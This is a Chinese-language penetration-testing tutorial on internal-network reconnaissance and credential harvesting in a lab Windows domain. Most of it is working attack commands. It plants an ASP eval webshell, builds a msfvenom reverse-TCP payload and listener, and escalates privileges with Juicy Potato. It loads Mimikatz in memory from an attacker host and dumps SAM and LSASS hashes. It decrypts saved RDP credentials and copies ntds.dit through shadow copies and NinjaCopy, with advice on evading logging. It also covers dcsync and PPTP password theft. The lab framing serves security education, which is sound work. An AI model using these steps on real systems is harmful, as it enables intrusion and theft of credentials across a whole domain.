【网安-Web渗透测试-内网渗透】内网信息收集(工具)

【网安-Web渗透测试-内网渗透】内网信息收集(工具) 目录1. 内网基础知识1.1 局域网1.1.1 局域网简介1.1.2 局域网的网络结构1.2 工作组1.3 域1.4 内网渗透2. 环境说明2.1 DC2.2 WebServer2.3 Marry2.4 Jack3. Cobalt Strike工具用户凭据密码收集4. Metasploit信息收集5. BloodHound工具6. 内网存活探测6.1 Netbios协议探测6.2 Nbtscan6.3 ICMP协议探测6.4 UDP协议探测6.5 Unicornscan扫描6.6 ARP协议探测6.7 SMB协议探测7. Windows Hash7.1 基本概念7.2 Hash获取7.2.1 Powershell脚本7.2.2 Meterpreter7.2.3 Mimikatz7.2.4 注册表导出hash8. 获取本地系统的RDP连接记录和密码8.1 获取RDP连接 remote desktop 8.2 本地RDP连接密码解密8.3 mimikatz解密密码文件9. 域内用户凭据密码获取9.1 Ntdsutil9.2 VssAdmin8.3 Ninjacopy10. 解密ntds.dit10.1 Secretsdump10.2 NtdsAudit10.3 NtdsAudit11. PPTP口令获取1. 内网基础知识内网即局域网由组织或公司的计算机组成可通过私有协议通信实现数据安全便捷传输。1.1 局域网1.1.1 局域网简介局域网LAN是局部范围内的网络由计算机、打印机、服务器等设备通过网络互联实现资源共享与信息交换。拓扑结构可采用星型、环型等支持以太网等技术。常见应用包括文件共享、联机游戏、视频会议等同时支持电子邮件、FTP等Internet应用。1.1.2 局域网的网络结构核心组成包括客户端用户使用的计算机用于获取网络资源和服务服务器提供文件、打印、数据库等网络服务网络媒介连接网络设备的物理载体如电缆、无线电波网络设备连接各类设备如交换机、路由器网络协议设备通信标准如TCP/IP、IPX/SPX协议。3局域网的特点网络规模小范围数百米内、传输速度快、拓扑结构灵活、维护成本低、安全性高。1.2 工作组工作组Work Group是一种最常见、最简单的网络资源管理模式核心是将网络中的电脑、设备按功能分类分组便于统一管理例如大学高校、网吧等场景常用。其核心特点如下① 默认情况下所有计算机均处于名为“WORKGROUP”的工作组中。② 适合网络计算机数量少、管理要求不严格的场景中小公司多采用此模式进行资源权限分配和目录共享。③ 建立步骤简单、易上手无需复杂配置。④ 相同组或不同组的用户均可通过对方主机的用户名和密码查看其共享文件夹默认共享Users目录。⑤ 工作组无真正的集中管理功能组内所有计算机地位对等不存在服务器与客户机的区分。1.3 域工作组适用于小规模、低安全需求的网络当网络规模庞大数千/数万台主机时需采用域环境管理。单域网络中仅存在一个域父域子域一个域划分出的主域父域与分支域子域域树多个域通过信任关系组成的集合域林由一个或多个无连续名字空间的域树组成域控DC域模式下的验证服务器存储域内账户、密码等信息负责鉴别计算机和用户合法性保护网络资源。1.4 内网渗透内网渗透是获取目标服务器控制权后通过内网信息收集、代理、权限提升、横向移动等技术获取内网其他主机如域控、运维主机权限的过程。域渗透思路通过域成员主机定位域控制器IP及域管理员账号以域成员主机为跳板渗透其他域成员利用域管理员权限特性定位其登录过的主机dump密码并拿下域控制器渗透整个内网。注意域是Windows系统概念Linux无域控但可作为域成员域内信息收集命令多针对Windows系统。但Linux主机可以被添加为域成员。2. 环境说明注意主机的开启顺序一定为DC、WebServer、Mary或Jack。2.1 DC名称值操作系统Windows Server 2008IP地址102.168.179.212.2 WebServer名称值操作系统Windows Server 2008IP地址102.168.179.312.3 Marry名称值操作系统Windows 7IP地址102.168.179.252.4 Jack名称值操作系统Windows 8.1IP地址102.168.179.293. Cobalt Strike工具用户凭据密码收集Step1在WebServer的IIS中添加1.asp文件用于后续的WebShell。新建ASP脚本# 文件名为1.asp%evalrequest(test)%备注此处默认站点中存在漏洞被攻击者利用并上传了WebShell。Step2启动CS的Server端和Client端Server端Kali机中运行$cd/home/kali/tools/CS4.8#切换到我们上传的CS4.8⽬录中$cdserver#切换到server⽬录#赋予服务端运⾏权限$chmodx teamserver $chmodx TeamServerImage $sudo./teamserver192.168.179.128test#启动teamserver服务端IP地址为kali的地址test为连接密码[sudo]passwordforkali:[*]Generating X509 certificate and keystore(for SSL)Generating3,072bit RSA key pair and self-signed certificate(SHA384withRSA)with a validity of90days for:CNMajor Cobalt Strike,OUAdvancedPenTesting,Ocobaltstrike,LSomewhere,STCyberspace,CEarth[*]Starting teamserver[*]Team Server Version:4.8(Pwn3rs)[*]Settinghttps.protocolssystem property: SSLv3,SSLv2Hello,TLSv1,TLSv1.1,TLSv1.2,TLSv1.3[*]Loading keystrokes.[*]Loaded0keystrokes.[*]Loading screenshots.[*]Loaded0screenshots.[*]Loading downloads.[*]Loaded0downloads.[*]Loading Windows error codes.[*]Windows error codes loaded[*]Loading hosted files[*]Loaded0servers with hosted items[*]Loading beacons[*]Loaded0beacons[]Team server is up on0.0.0.0:50050# 默认端⼝是50050且无地址限制[*]SHA256hashof SSL cert is: 44bc7fd1d9706b82bd047a8d1503dClient端Windows端运行用户名可任意设置。确认密码、IP和端口无误后单击“Connect”按钮。Step2使用CS生成木马通过webshell管理工具蚁剑上传到WebServer网站服务器运行上线新增连接配置。名为NAT_1。将其进行保存并取消x64位的勾选。将保存好的文件cs_1.exe通过蚁剑上传至WebServer。在中运行了cs_1.exe后在CS中成功上线了。Step3网络探针net view作用探测内网环境下存活的主机。得到了同一网段中的其它主机IP。Step4端口扫描作用扫描内网环境下对外开放的端口。等待CS将各IP的端口扫描出来。在“视图”中打开“目标列表”可以查看结果。Step5密码凭证获取开始获取Hash但遇到了权限不够的情况下因此需要提权处理。提权处理让抓取明文密码更加方便。提权成功后的Hash获取。抓取明文密码并显示密码。得到用户和密码喜喜后可以尝试内网横向移动的操作了。说明Cobalt Strike工具的功能极其强大除信息收集外还有提权、横向移动、代理转发等功能。4. Metasploit信息收集Step1进入Kali系统并执行如下命令生成木马。$ msfvenom-pwindows/meterpreter/reverse_tcplhost192.168.179.128lport4444-fexesu.exeStep2用Webshell将木马上传都WebServer蚁剑为例Step3MSF进入监听模式#输入命令设置本地监听具体命令如下启动msf$ msfconsole#选择工具msf6use exploit/multi/handler#设置攻击语句msf6setpayload windows/meterpreter/reverse_tcp#设置监听IP注意IP地址是本地kali机器的IP地址msf6setlhost192.168.179.128#设置监听端口msf6setlport4444#开始监听msf6exploit#或者runStep4在蚁剑中进入虚拟终端调用上传的MSF木马MSF上线之后就可以调用MSF强大的功能模块去做渗透了。Step5权限提升处理# meterpreter 后台挂起meterpreterbackground# 利用Juicy Potato漏洞实现提权。当然也可以用其它可利用的漏洞进行提权msf6use exploit/windows/local/ms16_075_reflection_juicy msf6setsession1msf6run meterpretergetuid从图中可以看到权限已提升到了SYSTEM了。Step6收集系统信息meterpreterrun scraper meterpreterrun winenumStep7打开新的 Kali 终端$cd/home/kali/.msf4/logs/scripts/winenumls-R至此已经获取到了目标主机的所有输出信息。5. BloodHound工具Step1将工具SharpHound.exe上传到目标主机# 工具路径BloodHound-win32-x64\resources\app\CollectorsStep2通过命令行调用上传的工具收集所有的信息# 执行命令C:\SharpHound.exe-callStep3启动本地的Neo4j服务# Linux环境$ neo4j-community-3.5.9\bin# 启动命令前台$ neo4j console首次启动需要到网页去修改密码http://Neo4J的部署IP:7474/默认账号密码user: neo4j pass: neo4jStep4将收集好的内网信息的压缩包上传到Database Info数据库信息可以查看当前数据库的基本信息包括用户、计算机、组和关系或边的数量。Node Indo节点信息当单击某个节点时可以显示对应节点的相关信息。Analysis分析查询在BloodHound中预置了一些查询条件具体如下6. 内网存活探测6.1 Netbios协议探测NetBIOS 是 1983 年为 IBM 开发的应用程序接口API用于局域网内计算机程序间的通信与数据共享可通过多种方式将自身标识名称解析为 IP 地址是局域网互访的基础。$ nmap-sU-T4--scriptnbstat.nse-p137192.168.179.2/24MSF扫描对应的模块# 需要进入MSF后的操作msf6use auxiliary/scanner/netbios/nbname6.2 Nbtscan使用nbtscan扫描本地或远程TCP/IP网络上开放的NetBI0S名称服务器。$ nbtscan-r10.0.0.0/246.3 ICMP协议探测ICMP 全称 Internet 控制消息协议属于 TCP/IP 协议族子协议用于IP 主机、路由器之间传递网络控制消息。日常常用的 Ping 网络连通性检测、Tracert 路由追踪 命令均基于 ICMP 协议实现。# CMD下扫描内网C端存活主机C:\for/l %iin(1,1,255)doping192.168.179.%i-w1-n1|find/ittl# 输出内容导出:C:\for /l %iin(1,1,255)doping-n1-w40192.168.179.%iiferrorlevel1(echo10.0.0.%ic:\a.txt)else(echo10.0.0.%i6.4 UDP协议探测UDPUser Datagram Protocol用户数据报协议是 OSI 模型无连接的传输层协议提供面向事务的简单不可靠数据传输服务。UDP 优点传输速度快无需 TCP 三次握手、确认、窗口、重传、拥塞控制等机制属于无状态协议转发效率高。相对更安全攻击面少于 TCP。资源占用小协议结构简单对系统资源消耗低。UDP 缺点无连接、传输不可靠不稳定易丢包不保证数据包有序、不重复、不丢失。C:\nmap-sU-T4-max-retries110.0.0.0-p500MSF扫描msf6use auxiliary/scanner/discovery/udp probe msf6use auxiliary/scanner/discovery/udp sweep6.5 Unicornscan扫描linux下推荐使用$ unicornscan-mU192.168.179.2/246.6 ARP协议探测ARP地址解析协议作用是将 IP 地址解析为 MAC 物理地址。局域网内主机通信时仅知道对方 IP 地址无法直接在物理网络传输IP 数据包必须封装成数据帧而封装需要依赖目标 MAC 地址。ARP 就是专门实现IP 地址与 MAC 地址映射解析的协议。$ nmap-sn-PR10.0.0.0/24MSF扫描msf6use auxiliary/scanner/discovery/arp sweep6.7 SMB协议探测SMBServer Message Block服务器消息块协议主要用于文件共享、打印机共享、串口共享等局域网资源交互。协议作用SMB 采用客户端 / 服务器架构Windows 系统默认同时充当 SMB 客户端与服务端。Windows 网络邻居、域内主机互相访问共享资源均依赖 SMB 协议实现。SMB 服务端向客户端提供网络共享资源双方可基于 TCP/IP、IPX、NetBEUI 协议建立通信。协议端口SMB 基于 TCPNetBIOS 运行139 端口基于 NetBIOS 的 SMB 通信445 端口直接基于 TCP 的 SMB 通信smbclient扫描$ smbclient-L//192.168.179.131-NMSF扫描msf6use auxiliary/scanner/smb/smb_version msf6exploit# 或msf6use auxiliary/scanner/portscan/syn msf6exploit7. Windows Hash7.1 基本概念哈希Hash是通过加密函数对任意长度字符串进行运算输出固定长度的特征字符串。Windows 系统对用户密码做哈希加密主要有 LM 哈希、NTLM 哈希后续升级为 NTLMv2、Kerberos 认证体系。Windows Hash 组成系统默认密码 Hash 由两部分构成LM-Hash NTLM-Hash标准格式用户名:RID:LM-HASH值:NT-HASH值Hash 分类LM 哈希密码最大支持 14 位安全性弱现已基本淘汰NTLM 哈希密码超过 14 位时自动使用 NTLM 哈希域环境、本地认证主要依赖 NTLM7.2 Hash获取7.2.1 Powershell脚本Step1kali开启http服务$ python3-mhttp.serverPowershell远程加载mimikatz脚本下载地址C:\powershell-ExecutionPolicyBypass IEX(New-Object Net.WebClient).DownloadString(http://192.168.179.128:8000/Invoke-Mimikatz.ps1);Invoke-Mimikatz-DumpCreds#使用powershell 去远程请求去下载Invoke-Mimikatz.ps1这个脚本通过IEX向系统申请内存然后运行该脚本。C:\powershell-ExecutionPolicyBypass IEX(New-Object Net.WebClient).DownloadString(http://192.168.179.128:8000/Get-PassHashes.ps1);Get-PassHashes7.2.2 MeterpreterHashdump# system权限的meterpretermsf6use post/windows/gather/hashdump msf6setsession1# 结果保存在tmp目录下msf6exploitsmart_hashdumpmsf6use post/windows/gather/smart_hashdump $setsession1msf6exploithashdump# 拿到目标主机的shell之后在meterpreter中使用meterpreterhashdump7.2.3 Mimikatz下载地址Mimikatz For Win10C:\mimikatz.exelog res.txtprivilege::debugtoken::elevatelsadump::samexitC:\mimikatz.exelog logon.txtprivilege::debugsekurlsa::logonpasswordsexit进入mimikatz后获取hash值mimikatz# privilege::debugmimikatz# token::elevatemimikatz# lsadump::sam进入mimikatz后获取明文密码mimikatz# privilege::debugmimikatz# sekurlsa::logonpasswords7.2.4 注册表导出hash导出注册表值的命令C:\reg save HKLM\SYSTEM system.hiv C:\reg save HKLM\SAM sam.hiv C:\reg save HKLM\SECURITY security.hiv用 Kali 自带 secretsdump 解密$ impacket-secretsdump-samsam.hiv-systemsystem.hiv-securitysecurity.hiv LOCAL四种方法综合对比总结方法有无文件落地是否免杀隐蔽能否拿明文适用场景Powershell 内存加载无差易被 AMSI 拦截能靶场无加固、内网快速批量抓凭证Meterpreter hashdump无一般MSF 特征明显不能MSF 会话下快速拿 Hash独立 Mimikatz有差原版易被杀软拦截能无杀软靶场、需要明文 全维度凭证注册表离线导出可控可删除极强原生无特征不能企业加固环境、有杀软 EDR、实战内网横向实战渗透建议靶场学习优先使用 Meterpreter hashdump 和 Powershell内存加载企业真实内网、有杀软 / EDR 加固环境优先使用注册表导出离线解密方案隐蔽性最强、无防护拦截若需要明文凭证再配合免杀版 Mimikatz 使用。8. 获取本地系统的RDP连接记录和密码8.1 获取RDP连接 remote desktop 用途获取目标主机用户保存过的 RDP 连接信息IP / 端口 / 用户名 / 密码解密后可直接用于内网横向移动。原理Windows 会将用户保存的 RDP 凭据加密存储在凭据管理器用户目录下的 Default.rdp注册表 HKCU\Software\Microsoft\Terminal Server Client\ServersPowerShell 可直接读取并解密。脚本下载地址链接C:\powershell –exec bypass .\ListAllUsers.ps1使用此脚本可以收集当前系统的RDP的连接记录由此可以判断出当前目标网络的结构。如果能够使用工具读取到凭据信息的话那么可以直接借此连接RDP从而获取一些数据和信息。8.2 本地RDP连接密码解密查看本地连接过的目标机器C:\reg queryHKEY_CURRENT_USER\Software\Microsoft\Terminal ServerClient\Servers/s查看本地用户此目录下是否存有RDP密码文件C:\dir/a %userprofile%\AppData\Local\Microsoft\Credentials\*当本地用户的管理员方便自己管理在使用远程连接的时候勾选了保存密码的选项时所连接过的计算机的记录会在本地保存。此时可用命令去读取。查看保存在本地的远程主机信息C:\cmdkey /list8.3 mimikatz解密密码文件Step1管理员身份启动mimikatzmimikatz# privilege::debugmimikatz# dpapi::cred /in:C:\Users\10758\AppData\Local\Microsoft\Credentials\E3A95C942239A23E8F24ACFB99C83662Step2根据guidMasterKey找到对应的Masterkeymimikatz# sekurlsa::dpapiStep3通过Masterkey解密pbData数据拿到明文RDP连接密码:mimikatz# dpapi::cred/in:C:\Users\10758\AppData\Local\Microsoft\Credentials\E3A95C942239A23E8F24ACFB99 C83662/masterkey:bf8240e1231b659aed422b32d53b4099c45f6bdcf9532af1dd43ac1cdab7d20dc2bfdc 7ba6b717c3b1d50aa848edf5cc59dce9378db9d2362a487681a41578039. 域内用户凭据密码获取Volume shadow Copyntds.dit:活动目录数据库包括有关域用户、组和组成员身份的信息。它还包括域中所有用户的密码哈希值。为了保护密码哈希值使用存储在SYSTEM注册表配置单元中的密钥对这些哈希值进行加密。因此想要破解sam文件文件与ntds.dit文件都需要拥有一个system文件AD DS数据存储由 ntds.dit 文件构成默认存储在所有域控制器上的 %SystemRoot%\NTDS 文件夹中只能通过域控制器进程和协议访问作用用于数据备份支持Windows Server 2003 及以上操作系统系统默认在特定条件下自动创建数据备份如补丁安装后。在Win7系统大概每隔一周自动创建备份具体时间无法确定禁用VSS会影响系统正常使用如 System Restore和 Windows Server Backup。由于Windows阻止对这些文件的标准读取或复制操作因此必须使用特殊技术来获取副本。Volume Shadow Copy Service 是微软从 Windows XP 开始提供的用于创建一致性的时间点副本(也就是快照的服务框架。#ntds.dit文件位置%SystemRoot%\NTDS\NTDS.dit#system文件位置%SystemRoot%System32\config\SYSTEMsam#文件位置%SystemRoot%System32\config\SAM9.1 NtdsutilNtdsutil.exe一个为 Active Directory 提供管理设施的命令行工具域环境默认安装。支持系统Server 2003、Server 2008、Server 2012C:\ntdsutil snapshot activate instance ntds createmount[GulD]unmout[GUlD]//copy 完之后再执行卸载 del[GulD]quit复制相应的NTDS.dit文件C:\copy C:\$SNAP_202408271844_VOLUMEC$\Windows\NTDS\ntds.dit c:\ntds.dit查询当前系统的快照C:\ntdsutil snapshotList Allquit quit C:\ntdsutil snapshotList Mountedquit quit创建快照C:\ntdsutil snapshotactivate instance ntdscreate quit quit挂载快照C:\ntdsutil snapshotmount {457fd83a-8e81-45e6-954b-ebe6a8a9328e}quit quit复制ntds.dit文件C:\copy C:\$SNAP_202408272046_VOLUMEC$\Windows\NTDS c:\ntds2.dit卸载快照C:\ntdsutil snapshotunmount {457fd83a-8e81-45e6-954b-ebe6a8a9328e}quit quit删除快照C:\ntdsutil snapshotdelete {457fd83a-8e81-45e6-954b-ebe6a8a9328e}quit quitNtdsutil命令的其他的用法# 交互式C:\ntdsutil activate instance ntds ifm create fullDrive:\Folderquit quit# 非交互式C:\Ntdsutilactivate instance ntdsifmcreate full C:\dabaiquit quit9.2 VssAdmin这是Windows系统提供的卷影复制服务(VSS)的管理工具域环境默认安装。作用用于创建或删除卷影副本列出卷影副本的信息用于显示所有安装的所有卷影副本写入程序和提供程序改变卷影副本存储空间的大小等#查询当前系统的快照C:\vssadmin list shadows#2.创建快照C:\vssadmin create shadow /forc:#3.获得Shadow Copy Volume Name\\?\GLOBALROOT\Device\HarddiskVolumeShadowCopy6复制ntds.ditC:\copy\\?\GLOBALROOT\Device\HarddiskVolumeShadowCopy9\windows\NTDS\ntds.ditc:\ntds3.dit删除快照C:\vssadmin delete shadows /forc:/quiet8.3 Ninjacopy在调用windows系统中的一些命令vssadmin、ntdsutil 等等去运行Volume shadow Copy卷影服务时由于Windows系统的保护机制常常会在日志文件中产生7036的记录。那么我们可以通过powershell的脚本的方式去获取域环境中的ntds.dit文件。脚本下载地址链接# 1、将脚本导入到目标系统# 2、CMD命令行调用powershell脚本C:\Import-Module .\Invoke-NinjaCopy.ps1# 3、利用脚本获取sam数据库或者是获取ntds.dit文件C:\Invoke-NinjaCopy-PathC:\Windows\system32\config\sam-Verbose-LocalDestinationC:\Users\administrator\Desktop\sam C:\Invoke-NinjaCopy-PathC:\Windows\NTDS\ntds.dit-Verbose-LocalDestinationC:\Users\administrator\Desktop\ntds.dit10. 解密ntds.dit在使用工具或者技术获取到了域中的ntds.dit文件之后接下来就要使用各种方法去解密 ntds.dit文件。将此文件解密之后即可获得域内用户的账号密码信息。可凭借此信息进行横向移动控制内网域。10.1 Secretsdump脚本下载地址地址1 地址2C:\secretsdump.exe-samsam.hiv-securitysecurity.hiv-systemsys.hiv LOCAL C:\secretsdump.exe-systemsystem.hive-ntdsntds.dit LOCAL10.2 NtdsAudit脚本下载地址链接#脚本解密C:\NtdsAudit.exentds.dit-ssystem-ppwdump.txt --users-csv users.csv10.3 NtdsAuditMimikatz有一个功能(dcsync)它可以利用目录复制服(DirectoryReplicationService,DRS)从 NTDS.DIT文件中提取密码哈希值。通过dcsync直接获取域内所有用户hash运行命令C:\mimikatz lsadump::dcsync /domain:god.org /all /csv获取单个用户的详细信息C:\mimikatz lsadump::dcsync /domain:god.org /user:krbtgt查看所有用户的所有详细信息C:\mimikatz lsadump::lsa /inject11. PPTP口令获取PPTP协议Point-to-Point Tunneling Protocol是一种用于创建虚拟私人网络VPN的协议它允许远程用户通过公共网络安全地访问私人网络。PPTP点对点隧道协议可以使远程用户通过拨入ISP访问企业内网。在渗透测试中如果获得了用户的PPTP口令就能远程拨入内网做进一步渗透需要拿到目标系统管理员权限。获取PPTP配置信息# 可获得PPTP连接的配置信息包括服务器IP不包含连接用户名和口令C:\type%APPDATA%\\Microsoft\\Network\\Connections\\Pbk\\rasphone.pbkmimikatz获取PPTP密码C:\mimikatz.exe privilege::debug token::elevate lsadump::secretsexit命令行下连接VPNC:\rasdialVPN111admin admin123命令行关闭VPN连接C:\rasphone-hVPN111